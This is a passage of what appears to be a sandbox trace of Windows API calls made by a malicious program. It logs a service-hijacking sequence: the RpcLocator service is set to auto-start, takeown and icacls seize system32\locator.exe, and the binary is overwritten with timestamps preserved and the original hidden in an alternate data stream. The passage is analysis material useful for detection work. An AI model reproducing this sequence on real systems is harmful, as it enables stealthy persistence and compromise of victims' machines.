lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.524] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0184.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0184.524] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0184.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.524] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.525] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0184.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0184.525] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.525] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.526] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.526] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.526] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.526] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.526] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\locator.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x21 [0184.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0184.526] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\locator.exe", lpDst=0x21f1da8, nSize=0x21 | out: lpDst="C:\\Windows\\system32\\locator.exe") returned 0x20 [0184.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0184.526] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0184.526] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0184.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0184.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0184.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0184.526] LocalFree (hMem=0x7e4b18) returned 0x0 [0184.526] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0184.526] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x8038a0 [0184.566] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0185.150] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0185.150] RegCloseKey (hKey=0x140) returned 0x0 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0185.150] RegCloseKey (hKey=0x9c) returned 0x0 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0185.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0185.150] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1 [0185.151] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.151] GetLastError () returned 0x5 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0185.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0185.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0185.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0185.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0185.151] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x9c, dwProcessId=0x4fc, dwThreadId=0x7ac)) returned 1 [0185.154] NtClose (Handle=0x9c) returned 0x0 [0185.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0185.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0185.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0185.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0185.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0185.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0185.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0185.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0185.155] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0186.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0186.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0186.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0186.202] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x14c, hThread=0x9c, dwProcessId=0x318, dwThreadId=0x55c)) returned 1 [0186.205] NtClose (Handle=0x9c) returned 0x0 [0186.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0186.205] NtClose (Handle=0x140) returned 0x0 [0186.205] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0186.876] NtClose (Handle=0x14c) returned 0x0 [0186.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0186.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0186.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0186.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1 [0186.879] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0186.880] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0186.880] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x2800 [0186.880] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0186.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x21f4ea8 [0186.880] ReadFile (in: hFile=0x14c, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x2800, lpOverlapped=0x0) returned 1 [0186.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x21f76b0 [0186.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0186.882] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0186.882] WriteFile (in: hFile=0x14c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0186.887] SetEndOfFile (hFile=0x14c) returned 1 [0186.887] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe5bc74a0, dwHighDateTime=0x1ca0423)) returned 1 [0186.887] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0186.887] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0186.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0186.887] NtClose (Handle=0x14c) returned 0x0 [0186.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe:0" (normalized: "c:\\windows\\system32\\locator.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0186.888] GetLastError () returned 0x2 [0186.888] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe:0" (normalized: "c:\\windows\\system32\\locator.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0186.888] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0186.888] WriteFile (in: hFile=0x14c, lpBuffer=0x21f76b0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f76b0*, lpNumberOfBytesWritten=0x36f53c*=0x2800, lpOverlapped=0x0) returned 1 [0186.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0186.889] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0186.889] NtClose (Handle=0x14c) returned 0x0 [0186.889] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x10) returned 0x803990 [0186.890] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0188.138] CloseServiceHandle (hSCObject=0x803990) returned 1 [0188.139] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0188.139] GetLastError () returned 0x6 [0188.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f76b0) returned 1 [0188.139] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0188.140] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0188.140] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0188.141] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x8038a0 [0188.141] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0188.310] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0188.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0188.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0188.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0188.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0188.312] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0188.312] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0188.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0188.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.313] 